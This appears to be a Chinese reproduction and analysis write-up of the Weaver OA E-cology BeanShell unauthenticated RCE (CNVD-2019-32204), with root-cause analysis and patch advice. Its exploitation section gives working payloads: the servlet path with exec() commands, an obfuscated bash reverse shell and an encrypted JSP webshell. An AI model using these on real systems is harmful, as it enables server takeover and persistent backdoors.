泛微OA E-cology(CNVD-2019-32204)未授权远程代码执行漏洞复现分析
字数 1102 2025-08-26 22:11:22
泛微OA E-cology未授权远程代码执行漏洞(CNVD-2019-32204)分析报告
漏洞概述
漏洞编号: CNVD-2019-32204
漏洞名称: 泛微OA E-cology Beanshell未授权远程代码执行漏洞
漏洞类型: 远程代码执行
威胁等级: 高危
影响版本:
- E-cology 7.0
- E-cology 8.0
- E-cology 8.1
- E-cology 9.0
漏洞描述
泛微OA E-cology系统的Beanshell组件存在未授权访问漏洞,攻击者可通过构造恶意请求直接执行任意Java代码,进而获取服务器控制权限。
漏洞复现
复现步骤
-
访问目标系统的Beanshell组件接口:
http://target/weaver/bsh.servlet.BshServlet/ -
在出现的脚本输入框中输入要执行的命令,例如Windows系统下执行
ipconfig:exec("ipconfig.exe"); -
提交后系统将返回命令执行结果。
复现截图
漏洞分析
Beanshell组件介绍
Beanshell是一个轻量级的Java脚本解释器,具有以下特点:
- 可嵌入到Java应用程序中
- 支持动态执行Java代码
- 官网地址: https://github.com/beanshell/beanshell
基本使用示例:
Interpreter in = new Interpreter();
in.eval("boolean boolean = true;");
System.out.println(boolean);
Beanshell中可动态执行代码的关键方法:
eval()source()set()get()run()
漏洞成因分析
通过反编译分析bsh.servlet.BshServlet类:
-
请求处理流程:
doGet()方法获取bsh.script等参数doPost()方法封装调用doGet()- 最终调用
evalScript()方法执行脚本
-
关键代码分析:
// 获取用户输入的脚本 String parameter = request.getParameter("bsh.script"); // 执行脚本 Object eval = this.interpreter.eval(parameter);- 未对用户输入进行任何过滤
- 直接通过Interpreter对象执行用户输入的脚本
-
执行链:
用户请求 → BshServlet.doPost() → BshServlet.doGet() → BshServlet.evalScript() → Interpreter.eval()
漏洞利用
基本利用方式
直接访问接口并输入Java代码:
// 执行系统命令
exec("whoami");
// 写入文件
f = new FileOutputStream("test.jsp");
f.write("test".getBytes());
f.close();
高级利用技巧
-
反弹Shell:
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"); -
Webshell写入:
String str = "<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals(\"POST\")){String k=\"e45e329feb5d925b\";session.putValue(\"u\",k);Cipher c=Cipher.getInstance(\"AES\");c.init(2,new SecretKeySpec(k.getBytes(),\"AES\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>"; FileOutputStream fos = new FileOutputStream("shell.jsp"); fos.write(str.getBytes()); fos.close();
修复建议
-
临时缓解措施:
- 删除或重命名
bsh.servlet.BshServlet类文件 - 配置访问控制策略,限制对
/weaver/bsh.servlet.BshServlet/的访问
- 删除或重命名
-
官方补丁:
- 升级到最新版本E-cology系统
- 应用官方发布的安全补丁
-
长期防护:
- 实施最小权限原则
- 定期进行安全审计和漏洞扫描
- 部署WAF等防护设备
参考链接
- Beanshell官方仓库: https://github.com/beanshell/beanshell
- CNVD漏洞公告: http://www.cnvd.org.cn/flaw/show/CNVD-2019-32204